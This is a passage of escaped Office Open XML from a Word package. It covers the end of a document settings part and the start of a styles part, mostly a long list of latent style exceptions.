w:val=\"5E1F1921\" />\n\t\t\t\t\t<w:rsid w:val=\"734F3DB9\" />\n\t\t\t\t\t<w:rsid w:val=\"7450710E\" />\n\t\t\t\t\t<w:rsid w:val=\"7F3E7E6B\" />\n\t\t\t\t\t<w:rsid w:val=\"7FDD3ED7\" />\n\t\t\t\t</w:rsids>\n\t\t\t\t<m:mathPr>\n\t\t\t\t\t<m:brkBin m:val=\"before\" />\n\t\t\t\t\t<m:brkBinSub m:val=\"--\" />\n\t\t\t\t\t<m:smallFrac m:val=\"0\" />\n\t\t\t\t\t<m:dispDef />\n\t\t\t\t\t<m:lMargin m:val=\"0\" />\n\t\t\t\t\t<m:rMargin m:val=\"0\" />\n\t\t\t\t\t<m:defJc m:val=\"centerGroup\" />\n\t\t\t\t\t<m:wrapIndent m:val=\"1440\" />\n\t\t\t\t\t<m:intLim m:val=\"subSup\" />\n\t\t\t\t\t<m:naryLim m:val=\"undOvr\" />\n\t\t\t\t</m:mathPr>\n\t\t\t\t<w:themeFontLang w:val=\"en-US\" w:eastAsia=\"zh-CN\" />\n\t\t\t\t<w:clrSchemeMapping w:bg1=\"light1\" w:t1=\"dark1\"\n\t\t\t\t\tw:bg2=\"light2\" w:t2=\"dark2\" w:accent1=\"accent1\" w:accent2=\"accent2\"\n\t\t\t\t\tw:accent3=\"accent3\" w:accent4=\"accent4\" w:accent5=\"accent5\"\n\t\t\t\t\tw:accent6=\"accent6\" w:hyperlink=\"hyperlink\" w:followedHyperlink=\"followedHyperlink\" />\n\t\t\t</w:settings>\n\t\t</pkg:xmlData>\n\t</pkg:part>\n\t<pkg:part pkg:name=\"/word/styles.xml\"\n\t\tpkg:contentType=\"application/vnd.openxmlformats-officedocument.wordprocessingml.styles+xml\">\n\t\t<pkg:xmlData>\n\t\t\t<w:styles\n\t\t\t\txmlns:mc=\"http://schemas.openxmlformats.org/markup-compatibility/2006\"\n\t\t\t\txmlns:o=\"urn:schemas-microsoft-com:office:office\"\n\t\t\t\txmlns:r=\"http://schemas.openxmlformats.org/officeDocument/2006/relationships\"\n\t\t\t\txmlns:m=\"http://schemas.openxmlformats.org/officeDocument/2006/math\"\n\t\t\t\txmlns:v=\"urn:schemas-microsoft-com:vml\"\n\t\t\t\txmlns:w=\"http://schemas.openxmlformats.org/wordprocessingml/2006/main\"\n\t\t\t\txmlns:w14=\"http://schemas.microsoft.com/office/word/2010/wordml\"\n\t\t\t\txmlns:w10=\"urn:schemas-microsoft-com:office:word\"\n\t\t\t\txmlns:sl=\"http://schemas.openxmlformats.org/schemaLibrary/2006/main\"\n\t\t\t\tmc:Ignorable=\"w14\">\n\t\t\t\t<w:docDefaults>\n\t\t\t\t\t<w:rPrDefault>\n\t\t\t\t\t\t<w:rPr>\n\t\t\t\t\t\t\t<w:rFonts w:ascii=\"Times New Roman\" w:hAnsi=\"Times New Roman\"\n\t\t\t\t\t\t\t\tw:eastAsia=\"宋体\" w:cs=\"Times New Roman\" />\n\t\t\t\t\t\t</w:rPr>\n\t\t\t\t\t</w:rPrDefault>\n\t\t\t\t</w:docDefaults>\n\t\t\t\t<w:latentStyles w:count=\"260\" w:defQFormat=\"0\"\n\t\t\t\t\tw:defUnhideWhenUsed=\"1\" w:defSemiHidden=\"1\" w:defUIPriority=\"99\"\n\t\t\t\t\tw:defLockedState=\"0\">\n\t\t\t\t\t<w:lsdException w:qFormat=\"1\" w:unhideWhenUsed=\"0\"\n\t\t\t\t\t\tw:uiPriority=\"0\" w:semiHidden=\"0\" w:name=\"Normal\" />\n\t\t\t\t\t<w:lsdException w:qFormat=\"1\" w:unhideWhenUsed=\"0\"\n\t\t\t\t\t\tw:uiPriority=\"0\" w:semiHidden=\"0\" w:name=\"heading 1\" />\n\t\t\t\t\t<w:lsdException w:qFormat=\"1\" w:uiPriority=\"0\"\n\t\t\t\t\t\tw:name=\"heading 2\" />\n\t\t\t\t\t<w:lsdException w:qFormat=\"1\" w:uiPriority=\"0\"\n\t\t\t\t\t\tw:name=\"heading 3\" />\n\t\t\t\t\t<w:lsdException w:qFormat=\"1\" w:uiPriority=\"0\"\n\t\t\t\t\t\tw:name=\"heading 4\" />\n\t\t\t\t\t<w:lsdException w:qFormat=\"1\" w:uiPriority=\"0\"\n\t\t\t\t\t\tw:name=\"heading 5\" />\n\t\t\t\t\t<w:lsdException w:qFormat=\"1\" w:uiPriority=\"0\"\n\t\t\t\t\t\tw:name=\"heading 6\" />\n\t\t\t\t\t<w:lsdException w:qFormat=\"1\" w:uiPriority=\"0\"\n\t\t\t\t\t\tw:name=\"heading 7\" />\n\t\t\t\t\t<w:lsdException w:qFormat=\"1\" w:uiPriority=\"0\"\n\t\t\t\t\t\tw:name=\"heading 8\" />\n\t\t\t\t\t<w:lsdException w:qFormat=\"1\" w:uiPriority=\"0\"\n\t\t\t\t\t\tw:name=\"heading 9\" />\n\t\t\t\t\t<w:lsdException w:unhideWhenUsed=\"0\" w:uiPriority=\"0\"\n\t\t\t\t\t\tw:semiHidden=\"0\" w:name=\"index 1\" />\n\t\t\t\t\t<w:lsdException w:unhideWhenUsed=\"0\" w:uiPriority=\"0\"\n\t\t\t\t\t\tw:semiHidden=\"0\" w:name=\"index 2\" />\n\t\t\t\t\t<w:lsdException w:unhideWhenUsed=\"0\" w:uiPriority=\"0\"\n\t\t\t\t\t\tw:semiHidden=\"0\" w:name=\"index 3\" />\n\t\t\t\t\t<w:lsdException w:unhideWhenUsed=\"0\" w:uiPriority=\"0\"\n\t\t\t\t\t\tw:semiHidden=\"0\" w:name=\"index 4\" />\n\t\t\t\t\t<w:lsdException w:unhideWhenUsed=\"0\" w:uiPriority=\"0\"\n\t\t\t\t\t\tw:semiHidden=\"0\" w:name=\"index 5\" />\n\t\t\t\t\t<w:lsdException w:unhideWhenUsed=\"0\" w:uiPriority=\"0\"\n\t\t\t\t\t\tw:semiHidden=\"0\" w:name=\"index 6\" />\n\t\t\t\t\t<w:lsdException w:unhideWhenUsed=\"0\" w:uiPriority=\"0\"\n\t\t\t\t\t\tw:semiHidden=\"0\" w:name=\"index 7\" />\n\t\t\t\t\t<w:lsdException w:unhideWhenUsed=\"0\" w:uiPriority=\"0\"\n\t\t\t\t\t\tw:semiHidden=\"0\" w:name=\"index 8\" />\n\t\t\t\t\t<w:lsdException w:unhideWhenUsed=\"0\" w:uiPriority=\"0\"\n\t\t\t\t\t\tw:semiHidden=\"0\" w:name=\"index 9\" />\n\t\t\t\t\t<w:lsdException w:unhideWhenUsed=\"0\" w:uiPriority=\"0\"\n\t\t\t\t\t\tw:semiHidden=\"0\" w:name=\"toc 1\" />\n\t\t\t\t\t<w:lsdException w:unhideWhenUsed=\"0\" w:uiPriority=\"0\"\n\t\t\t\t\t\tw:semiHidden=\"0\" w:name=\"toc 2\" />\n\t\t\t\t\t<w:lsdException w:unhideWhenUsed=\"0\" w:uiPriority=\"0\"\n\t\t\t\t\t\tw:semiHidden=\"0\" w:name=\"toc 3\" />\n\t\t\t\t\t<w:lsdException w:unhideWhenUsed=\"0\" w:uiPriority=\"0\"\n\t\t\t\t\t\tw:semiHidden=\"0\" w:name=\"toc 4\" />\n\t\t\t\t\t<w:lsdException w:unhideWhenUsed=\"0\" w:uiPriority=\"0\"\n\t\t\t\t\t\tw:semiHidden=\"0\" w:name=\"toc 5\" />\n\t\t\t\t\t<w:lsdException w:unhideWhenUsed=\"0\" w:uiPriority=\"0\"\n\t\t\t\t\t\tw:semiHidden=\"0\" w:name=\"toc 6\" />\n\t\t\t\t\t<w:lsdException w:unhideWhenUsed=\"0\" w:uiPriority=\"0\"\n\t\t\t\t\t\tw:semiHidden=\"0\" w:name=\"toc 7\" />\n\t\t\t\t\t<w:lsdException w:unhideWhenUsed=\"0\" w:uiPriority=\"0\"\n\t\t\t\t\t\tw:semiHidden=\"0\" w:name=\"toc 8\" />\n\t\t\t\t\t<w:lsdException w:unhideWhenUsed=\"0\" w:uiPriority=\"0\"\n\t\t\t\t\t\tw:semiHidden=\"0\" w:name=\"toc 9\" />\n\t\t\t\t\t<w:lsdException w:unhideWhenUsed=\"0\" w:uiPriority=\"0\"\n\t\t\t\t\t\tw:semiHidden=\"0\" w:name=\"Normal Indent\" />\n\t\t\t\t\t<w:lsdException w:unhideWhenUsed=\"0\" w:uiPriority=\"0\"\n\t\t\t\t\t\tw:semiHidden=\"0\" w:name=\"footnote text\" />\n\t\t\t\t\t<w:lsdException w:unhideWhenUsed=\"0\" w:uiPriority=\"0\"\n\t\t\t\t\t\tw:semiHidden=\"0\" w:name=\"annotation text\" />\n\t\t\t\t\t<w:lsdException w:unhideWhenUsed=\"0\" w:uiPriority=\"0\"\n\t\t\t\t\t\tw:semiHidden=\"0\" w:name=\"header\" />\n\t\t\t\t\t<w:lsdException w:unhideWhenUsed=\"0\" w:uiPriority=\"0\"\n\t\t\t\t\t\tw:semiHidden=\"0\" w:name=\"footer\" />\n\t\t\t\t\t<w:lsdException w:unhideWhenUsed=\"0\" w:uiPriority=\"0\"\n\t\t\t\t\t\tw:semiHidden=\"0\" w:name=\"index heading\" />\n\t\t\t\t\t<w:lsdException w:qFormat=\"1\" w:uiPriority=\"0\"\n\t\t\t\t\t\tw:name=\"caption\" />\n\t\t\t\t\t<w:lsdException w:unhideWhenUsed=\"0\" w:uiPriority=\"0\"\n\t\t\t\t\t\tw:semiHidden=\"0\" w:name=\"table of figures\" />\n\t\t\t\t\t<w:lsdException w:unhideWhenUsed=\"0\" w:uiPriority=\"0\"\n\t\t\t\t\t\tw:semiHidden=\"0\" w:name=\"envelope address\" />\n\t\t\t\t\t<w:lsdException w:unhideWhenUsed=\"0\" w:uiPriority=\"0\"\n\t\t\t\t\t\tw:semiHidden=\"0\" w:name=\"envelope return\" />\n\t\t\t\t\t<w:lsdException w:unhideWhenUsed=\"0\" w:uiPriority=\"0\"\n\t\t\t\t\t\tw:semiHidden=\"0\" w:name=\"footnote reference\" />\n\t\t\t\t\t<w:lsdException w:unhideWhenUsed=\"0\" w:uiPriority=\"0\"\n\t\t\t\t\t\tw:semiHidden=\"0\" w:name=\"annotation reference\" />\n\t\t\t\t\t<w:lsdException w:unhideWhenUsed=\"0\" w:uiPriority=\"0\"\n\t\t\t\t\t\tw:semiHidden=\"0\" w:name=\"line number\" />\n\t\t\t\t\t<w:lsdException w:unhideWhenUsed=\"0\" w:uiPriority=\"0\"\n\t\t\t\t\t\tw:semiHidden=\"0\" w:name=\"page number\" />\n\t\t\t\t\t<w:lsdException w:unhideWhenUsed=\"0\" w:uiPriority=\"0\"\n\t\t\t\t\t\tw:semiHidden=\"0\" w:name=\"endnote reference\" />\n\t\t\t\t\t<w:lsdException w:unhideWhenUsed=\"0\" w:uiPriority=\"0\"\n\t\t\t\t\t\tw:semiHidden=\"0\" w:name=\"endnote text\" />\n\t\t\t\t\t<w:lsdException w:unhideWhenUsed=\"0\" w:uiPriority=\"0\"\n\t\t\t\t\t\tw:semiHidden=\"0\" w:name=\"table of authorities\" />\n\t\t\t\t\t<w:lsdException w:unhideWhenUsed=\"0\" w:uiPriority=\"0\"\n\t\t\t\t\t\tw:semiHidden=\"0\" w:name=\"macro\" />\n\t\t\t\t\t<w:lsdException w:unhideWhenUsed=\"0\" w:uiPriority=\"0\"\n\t\t\t\t\t\tw:semiHidden=\"0\" w:name=\"toa heading\" />\n\t\t\t\t\t<w:lsdException w:unhideWhenUsed=\"0\" w:uiPriority=\"0\"\n\t\t\t\t\t\tw:semiHidden=\"0\" w:name=\"List\" />\n\t\t\t\t\t<w:lsdException w:unhideWhenUsed=\"0\" w:uiPriority=\"0\"\n\t\t\t\t\t\tw:semiHidden=\"0\" w:name=\"List Bullet\" />\n\t\t\t\t\t<w:lsdException w:unhideWhenUsed=\"0\" w:uiPriority=\"0\"\n\t\t\t\t\t\tw:semiHidden=\"0\" w:name=\"List Number\" />\n\t\t\t\t\t<w:lsdException w:unhideWhenUsed=\"0\" w:uiPriority=\"0\"\n\t\t\t\t\t\tw:semiHidden=\"0\" w:name=\"List 2\" />\n\t\t\t\t\t<w:lsdException w:unhideWhenUsed=\"0\" w:uiPriority=\"0\"\n\t\t\t\t\t\tw:semiHidden=\"0\" w:name=\"List 3\" />\n\t\t\t\t\t<w:lsdException w:unhideWhenUsed=\"0\" w:uiPriority=\"0\"\n\t\t\t\t\t\tw:semiHidden=\"0\" w:name=\"List 4\" />\n\t\t\t\t\t<w:lsdException w:unhideWhenUsed=\"0\" w:uiPriority=\"0\"\n\t\t\t\t\t\tw:semiHidden=\"0\" w:name=\"List 5\" />\n\t\t\t\t\t<w:lsdException w:unhideWhenUsed=\"0\" w:uiPriority=\"0\"\n\t\t\t\t\t\tw:semiHidden=\"0\" w:name=\"List Bullet 2\" />\n\t\t\t\t\t<w:lsdException w:unhideWhenUsed=\"0\" w:uiPriority=\"0\"\n\t\t\t\t\t\tw:semiHidden=\"0\" w:name=\"List Bullet 3\" />\n\t\t\t\t\t<w:lsdException w:unhideWhenUsed=\"0\" w:uiPriority=\"0\"\n\t\t\t\t\t\tw:semiHidden=\"0\" w:name=\"List Bullet 4\" />\n\t\t\t\t\t<w:lsdException w:unhideWhenUsed=\"0\" w:uiPriority=\"0\"\n\t\t\t\t\t\tw:semiHidden=\"0\" w:name=\"List Bullet 5\" />\n\t\t\t\t\t<w:lsdException w:unhideWhenUsed=\"0\" w:uiPriority=\"0\"\n\t\t\t\t\t\tw:semiHidden=\"0\" w:name=\"List Number 2\" />\n\t\t\t\t\t<w:lsdException w:unhideWhenUsed=\"0\" w:uiPriority=\"0\"\n\t\t\t\t\t\tw:semiHidden=\"0\" w:name=\"List Number 3\" />\n\t\t\t\t\t<w:lsdException w:unhideWhenUsed=\"0\" w:uiPriority=\"0\"\n\t\t\t\t\t\tw:semiHidden=\"0\" w:name=\"List Number 4\" />\n\t\t\t\t\t<w:lsdException w:unhideWhenUsed=\"0\" w:uiPriority=\"0\"\n\t\t\t\t\t\tw:semiHidden=\"0\" w:name=\"List Number 5\" />\n\t\t\t\t\t<w:lsdException w:qFormat=\"1\" w:unhideWhenUsed=\"0\"\n\t\t\t\t\t\tw:uiPriority=\"0\" w:semiHidden=\"0\" w:name=\"Title\" />\n\t\t\t\t\t<w:lsdException w:unhideWhenUsed=\"0\" w:uiPriority=\"0\"\n\t\t\t\t\t\tw:semiHidden=\"0\" w:name=\"Closing\" />\n\t\t\t\t\t<w:lsdException w:unhideWhenUsed=\"0\" w:uiPriority=\"0\"\n\t\t\t\t\t\tw:semiHidden=\"0\" w:name=\"Signature\" />\n\t\t\t\t\t<w:lsdException w:qFormat=\"1\" w:unhideWhenUsed=\"0\"\n\t\t\t\t\t\tw:uiPriority=\"0\" w:name=\"Default Paragraph Font\" />\n\t\t\t\t\t<w:lsdException w:unhideWhenUsed=\"0\" w:uiPriority=\"0\"\n\t\t\t\t\t\tw:semiHidden=\"0\" w:name=\"Body Text\" />\n\t\t\t\t\t<w:lsdException w:unhideWhenUsed=\"0\" w:uiPriority=\"0\"\n\t\t\t\t\t\tw:semiHidden=\"0\" w:name=\"Body Text Indent\" />\n\t\t\t\t\t<w:lsdException w:unhideWhenUsed=\"0\" w:uiPriority=\"0\"\n\t\t\t\t\t\tw:semiHidden=\"0\" w:name=\"List Continue\" />\n\t\t\t\t\t<w:lsdException w:unhideWhenUsed=\"0\" w:uiPriority=\"0\"\n\t\t\t\t\t\tw:semiHidden=\"0\" w:name=\"List Continue 2\" />\n\t\t\t\t\t<w:lsdException w:unhideWhenUsed=\"0\" w:uiPriority=\"0\"\n\t\t\t\t\t\tw:semiHidden=\"0\" w:name=\"List Continue 3\" />\n\t\t\t\t\t<w:lsdException w:unhideWhenUsed=\"0\" w:uiPriority=\"0\"\n\t\t\t\t\t\tw:semiHidden=\"0\" w:name=\"List Continue 4\" />\n\t\t\t\t\t<w:lsdException w:unhideWhenUsed=\"0\" w:uiPriority=\"0\"\n\t\t\t\t\t\tw:semiHidden=\"0\" w:name=\"List Continue 5\" />\n\t\t\t\t\t<w:lsdException w:unhideWhenUsed=\"0\" w:uiPriority=\"0\"\n\t\t\t\t\t\tw:semiHidden=\"0\" w:name=\"Message Header\" />\n\t\t\t\t\t<w:lsdException w:qFormat=\"1\" w:unhideWhenUsed=\"0\"\n\t\t\t\t\t\tw:uiPriority=\"0\" w:semiHidden=\"0\" w:name=\"Subtitle\" />\n\t\t\t\t\t<w:lsdException w:unhideWhenUsed=\"0\" w:uiPriority=\"0\"\n\t\t\t\t\t\tw:semiHidden=\"0\" w:name=\"Salutation\" />\n\t\t\t\t\t<w:lsdException w:unhideWhenUsed=\"0\" w:uiPriority=\"0\"\n\t\t\t\t\t\tw:semiHidden=\"0\" w:name=\"Date\" />\n\t\t\t\t\t<w:lsdException w:unhideWhenUsed=\"0\" w:uiPriority=\"0\"\n\t\t\t\t\t\tw:semiHidden=\"0\" w:name=\"Body Text First Indent\" />\n\t\t\t\t\t<w:lsdException w:unhideWhenUsed=\"0\" w:uiPriority=\"0\"\n\t\t\t\t\t\tw:semiHidden=\"0\" w:name=\"Body Text First Indent 2\" />\n\t\t\t\t\t<w:lsdException w:unhideWhenUsed=\"0\" w:uiPriority=\"0\"\n\t\t\t\t\t\tw:semiHidden=\"0\" w:name=\"Note Heading\" />\n\t\t\t\t\t<w:lsdException w:unhideWhenUsed=\"0\" w:uiPriority=\"0\"\n\t\t\t\t\t\tw:semiHidden=\"0\" w:name=\"Body Text 2\" />\n\t\t\t\t\t<w:lsdException w:unhideWhenUsed=\"0\" w:uiPriority=\"0\"\n\t\t\t\t\t\tw:semiHidden=\"0\" w:name=\"Body Text 3\" />\n\t\t\t\t\t<w:lsdException w:unhideWhenUsed=\"0\" w:uiPriority=\"0\"\n\t\t\t\t\t\tw:semiHidden=\"0\" w:name=\"Body Text Indent 2\" />\n\t\t\t\t\t<w:lsdException w:unhideWhenUsed=\"0\" w:uiPriority=\"0\"\n\t\t\t\t\t\tw:semiHidden=\"0\" w:name=\"Body Text Indent 3\" />\n\t\t\t\t\t<w:lsdException w:unhideWhenUsed=\"0\" w:uiPriority=\"0\"\n\t\t\t\t\t\tw:semiHidden=\"0\" w:name=\"Block Text\" />\n\t\t\t\t\t<w:lsdException w:unhideWhenUsed=\"0\" w:uiPriority=\"0\"\n\t\t\t\t\t\tw:semiHidden=\"0\" w:name=\"Hyperlink\" />\n\t\t\t\t\t<w:lsdException w:unhideWhenUsed=\"0\" w:uiPriority=\"0\"\n\t\t\t\t\t\tw:semiHidden=\"0\" w:name=\"FollowedHyperlink\" />\n\t\t\t\t\t<w:lsdException w:qFormat=\"1\" w:unhideWhenUsed=\"0\"\n\t\t\t\t\t\tw:uiPriority=\"0\" w:semiHidden=\"0\" w:name=\"Strong\" />\n\t\t\t\t\t<w:lsdException w:qFormat=\"1\" w:unhideWhenUsed=\"0\"\n\t\t\t\t\t\tw:uiPriority=\"0\" w:semiHidden=\"0\" w:name=\"Emphasis\" />\n\t\t\t\t\t<w:lsdException w:unhideWhenUsed=\"0\" w:uiPriority=\"0\"\n\t\t\t\t\t\tw:semiHidden=\"0\" w:name=\"Document Map\" />\n\t\t\t\t\t<w:lsdException w:unhideWhenUsed=\"0\" w:uiPriority=\"0\"\n\t\t\t\t\t\tw:semiHidden=\"0\" w:name=\"Plain Text\" />\n\t\t\t\t\t<w:lsdException w:unhideWhenUsed=\"0\" w:uiPriority=\"0\"\n\t\t\t\t\t\tw:semiHidden=\"0\" w:name=\"E-mail Signature\" />\n\t\t\t\t\t<w:lsdException w:unhideWhenUsed=\"0\" w:uiPriority=\"0\"\n\t\t\t\t\t\tw:semiHidden=\"0\" w:name=\"Normal (Web)\" />\n\t\t\t\t\t<w:lsdException w:unhideWhenUsed=\"0\" w:uiPriority=\"0\"\n\t\t\t\t\t\tw:semiHidden=\"0\" w:name=\"HTML Acronym\" />\n\t\t\t\t\t<w:lsdException w:unhideWhenUsed=\"0\" w:uiPriority=\"0\"\n\t\t\t\t\t\tw:semiHidden=\"0\" w:name=\"HTML Address\" />\n\t\t\t\t\t<w:lsdException w:unhideWhenUsed=\"0\" w:uiPriority=\"0\"\n\t\t\t\t\t\tw:semiHidden=\"0\" w:name=\"HTML Cite\" />\n\t\t\t\t\t<w:lsdException w:unhideWhenUsed=\"0\" w:uiPriority=\"0\"\n\t\t\t\t\t\tw:semiHidden=\"0\" w:name=\"HTML Code\" />\n\t\t\t\t\t<w:lsdException w:unhideWhenUsed=\"0\" w:uiPriority=\"0\"\n\t\t\t\t\t\tw:semiHidden=\"0\" w:name=\"HTML Definition\" />\n\t\t\t\t\t<w:lsdException w:unhideWhenUsed=\"0\" w:uiPriority=\"0\"\n\t\t\t\t\t\tw:semiHidden=\"0\" w:name=\"HTML Keyboard\" />\n\t\t\t\t\t<w:lsdException w:unhideWhenUsed=\"0\" w:uiPriority=\"0\"\n\t\t\t\t\t\tw:semiHidden=\"0\" w:name=\"HTML Preformatted\" />\n\t\t\t\t\t<w:lsdException w:unhideWhenUsed=\"0\" w:uiPriority=\"0\"\n\t\t\t\t\t\tw:semiHidden=\"0\" w:name=\"HTML Sample\" />\n\t\t\t\t\t<w:lsdException w:unhideWhenUsed=\"0\" w:uiPriority=\"0\"\n\t\t\t\t\t\tw:semiHidden=\"0\" w:name=\"HTML Typewriter\" />\n\t\t\t\t\t<w:lsdException w:unhideWhenUsed=\"0\" w:uiPriority=\"0\"\n\t\t\t\t\t\tw:semiHidden=\"0\" w:name=\"HTML Variable\" />\n\t\t\t\t\t<w:lsdException w:unhideWhenUsed=\"0\" w:uiPriority=\"0\"\n\t\t\t\t\t\tw:name=\"Normal Table\" />\n\t\t\t\t\t<w:lsdException w:unhideWhenUsed=\"0\" w:uiPriority=\"0\"\n\t\t\t\t\t\tw:semiHidden=\"0\" w:name=\"annotation subject\" />\n\t\t\t\t\t<w:lsdException w:unhideWhenUsed=\"0\" w:uiPriority=\"0\"\n\t\t\t\t\t\tw:semiHidden=\"0\" w:name=\"Table Simple 1\" />\n\t\t\t\t\t<w:lsdException w:unhideWhenUsed=\"0\" w:uiPriority=\"0\"\n\t\t\t\t\t\tw:semiHidden=\"0\" w:name=\"Table Simple 2\" />\n\t\t\t\t\t<w:lsdException w:unhideWhenUsed=\"0\" w:uiPriority=\"0\"\n\t\t\t\t\t\tw:semiHidden=\"0\" w:name=\"Table Simple 3\" />\n\t\t\t\t\t<w:lsdException w:unhideWhenUsed=\"0\" w:uiPriority=\"0\"\n\t\t\t\t\t\tw:semiHidden=\"0\" w:name=\"Table Classic 1\" />\n\t\t\t\t\t<w:lsdException w:unhideWhenUsed=\"0\" w:uiPriority=\"0\"\n\t\t\t\t\t\tw:semiHidden=\"0\" w:name=\"Table Classic 2\" />\n\t\t\t\t\t<w:lsdException w:unhideWhenUsed=\"0\" w:uiPriority=\"0\"\n\t\t\t\t\t\tw:semiHidden=\"0\" w:name=\"Table Classic 3\" />\n\t\t\t\t\t<w:lsdException w:unhideWhenUsed=\"0\" w:uiPriority=\"0\"\n\t\t\t\t\t\tw:semiHidden=\"0\" w:name=\"Table Classic 4\" />\n\t\t\t\t\t<w:lsdException w:unhideWhenUsed=\"0\" w:uiPriority=\"0\"\n\t\t\t\t\t\tw:semiHidden=\"0\" w:name=\"Table Colorful 1\" />\n\t\t\t\t\t<w:lsdException w:unhideWhenUsed=\"0\" w:uiPriority=\"0\"\n\t\t\t\t\t\tw:semiHidden=\"0\" w:name=\"Table Colorful 2\" />\n\t\t\t\t\t<w:lsdException w:unhideWhenUsed=\"0\" w:uiPriority=\"0\"\n\t\t\t\t\t\tw:semiHidden=\"0\" w:name=\"Table Colorful 3\" />\n\t\t\t\t\t<w:lsdException w:unhideWhenUsed=\"0\" w:uiPriority=\"0\"\n\t\t\t\t\t\tw:semiHidden=\"0\" w:name=\"Table Columns 1\" />\n\t\t\t\t\t<w:lsdException w:unhideWhenUsed=\"0\" w:uiPriority=\"0\"\n\t\t\t\t\t\tw:semiHidden=\"0\" w:name=\"Table Columns 2\" />\n\t\t\t\t\t<w:lsdException w:unhideWhenUsed=\"0\" w:uiPriority=\"0\"\n\t\t\t\t\t\tw:semiHidden=\"0\" w:name=\"Table Columns 3\" />\n\t\t\t\t\t<w:lsdException w:unhideWhenUsed=\"0\" w:uiPriority=\"0\"\n\t\t\t\t\t\tw:semiHidden=\"0\" w:name=\"Table Columns 4\" />\n\t\t\t\t\t<w:lsdException w:unhideWhenUsed=\"0\" w:uiPriority=\"0\"\n\t\t\t\t\t\tw:semiHidden=\"0\" w:name=\"Table Columns 5\" />\n\t\t\t\t\t<w:lsdException w:unhideWhenUsed=\"0\" w:uiPriority=\"0\"\n\t\t\t\t\t\tw:semiHidden=\"0\" w:name=\"Table Grid 1\" />\n\t\t\t\t\t<w:lsdException w:unhideWhenUsed=\"0\" w:uiPriority=\"0\"\n\t\t\t\t\t\tw:semiHidden=\"0\" w:name=\"Table Grid 2\" />\n\t\t\t\t\t<w:lsdException w:unhideWhenUsed=\"0\" w:uiPriority=\"0\"\n\t\t\t\t\t\tw:semiHidden=\"0\" w:name=\"Table Grid 3\" />\n\t\t\t\t\t<w:lsdException w:unhideWhenUsed=\"0\" w:uiPriority=\"0\"\n\t\t\t\t\t\tw:semiHidden=\"0\" w:name=\"Table Grid 4\" />\n\t\t\t\t\t<w:lsdException w:unhideWhenUsed=\"0\" w:uiPriority=\"0\"\n\t\t\t\t\t\tw:semiHidden=\"0\" w:name=\"Table Grid 5\" />\n\t\t\t\t\t<w:lsdException w:unhideWhenUsed=\"0\" w:uiPriority=\"0\"\n\t\t\t\t\t\tw:semiHidden=\"0\" w:name=\"Table Grid 6\" />\n\t\t\t\t\t<w:lsdException w:unhideWhenUsed=\"0\" w:uiPriority=\"0\"\n\t\t\t\t\t\tw:semiHidden=\"0\" w:name=\"Table Grid 7\" />\n\t\t\t\t\t<w:lsdException w:unhideWhenUsed=\"0\" w:uiPriority=\"0\"\n\t\t\t\t\t\tw:semiHidden=\"0\" w:name=\"Table Grid 8\" />\n\t\t\t\t\t<w:lsdException w:unhideWhenUsed=\"0\" w:uiPriority=\"0\"\n\t\t\t\t\t\tw:semiHidden=\"0\" w:name=\"Table List 1\" />\n\t\t\t\t\t<w:lsdException w:unhideWhenUsed=\"0\" w:uiPriority=\"0\"\n\t\t\t\t\t\tw:semiHidden=\"0\" w:name=\"Table List 2\" />\n\t\t\t\t\t<w:lsdException w:unhideWhenUsed=\"0\" w:uiPriority=\"0\"\n\t\t\t\t\t\tw:semiHidden=\"0\" w:name=\"Table List 3\" />\n\t\t\t\t\t<w:lsdException w:unhideWhenUsed=\"0\" w:uiPriority=\"0\"\n\t\t\t\t\t\tw:semiHidden=\"0\" w:name=\"Table List 4\" />\n\t\t\t\t\t<w:lsdException w:unhideWhenUsed=\"0\" w:uiPriority=\"0\"\n\t\t\t\t\t\tw:semiHidden=\"0\" w:name=\"Table List 5\" />\n\t\t\t\t\t<w:lsdException w:unhideWhenUsed=\"0\" w:uiPriority=\"0\"\n\t\t\t\t\t\tw:semiHidden=\"0\" w:name=\"Table List 6\" />\n\t\t\t\t\t<w:lsdException w:unhideWhenUsed=\"0\" w:uiPriority=\"0\"\n\t\t\t\t\t\tw:semiHidden=\"0\" w:name=\"Table List 7\" />\n\t\t\t\t\t<w:lsdException w:unhideWhenUsed=\"0\" w:uiPriority=\"0\"\n\t\t\t\t\t\tw:semiHidden=\"0\" w:name=\"Table List 8\" />\n\t\t\t\t\t<w:lsdException w:unhideWhenUsed=\"0\" w:uiPriority=\"0\"\n\t\t\t\t\t\tw:semiHidden=\"0\" w:name=\"Table 3D effects 1\" />\n\t\t\t\t\t<w:lsdException w:unhideWhenUsed=\"0\" w:uiPriority=\"0\"\n\t\t\t\t\t\tw:semiHidden=\"0\" w:name=\"Table 3D effects 2\" />\n\t\t\t\t\t<w:lsdException w:unhideWhenUsed=\"0\" w:uiPriority=\"0\"\n\t\t\t\t\t\tw:semiHidden=\"0\" w:name=\"Table 3D effects 3\" />\n\t\t\t\t\t<w:lsdException w:unhideWhenUsed=\"0\" w:uiPriority=\"0\"\n\t\t\t\t\t\tw:semiHidden=\"0\" w:name=\"Table Contemporary\" />\n\t\t\t\t\t<w:lsdException w:unhideWhenUsed=\"0\" w:uiPriority=\"0\"\n\t\t\t\t\t\tw:semiHidden=\"0\" w:name=\"Table Elegant\" />\n\t\t\t\t\t<w:lsdException w:unhideWhenUsed=\"0\" w:uiPriority=\"0\"\n\t\t\t\t\t\tw:semiHidden=\"0\" w:name=\"Table Professional\" />\n\t\t\t\t\t<w:lsdException w:unhideWhenUsed=\"0\" w:uiPriority=\"0\"\n\t\t\t\t\t\tw:semiHidden=\"0\" w:name=\"Table Subtle 1\" />\n\t\t\t\t\t<w:lsdException w:unhideWhenUsed=\"0\" w:uiPriority=\"0\"\n\t\t\t\t\t\tw:semiHidden=\"0\" w:name=\"Table Subtle 2\" />\n\t\t\t\t\t<w:lsdException w:unhideWhenUsed=\"0\" w:uiPriority=\"0\"\n\t\t\t\t\t\tw:semiHidden=\"0\" w:name=\"Table Web 1\" />\n\t\t\t\t\t<w:lsdException w:unhideWhenUsed=\"0\" w:uiPriority=\"0\"\n\t\t\t\t\t\tw:semiHidden=\"0\" w:name=\"Table Web 2\" />\n\t\t\t\t\t<w:lsdException w:unhideWhenUsed=\"0\" w:uiPriority=\"0\"\n\t\t\t\t\t\tw:semiHidden=\"0\" w:name=\"Table Web 3\" />\n\t\t\t\t\t<w:lsdException w:unhideWhenUsed=\"0\" w:uiPriority=\"0\"\n\t\t\t\t\t\tw:semiHidden=\"0\" w:name=\"Balloon Text\" />\n\t\t\t\t\t<w:lsdException w:unhideWhenUsed=\"0\" 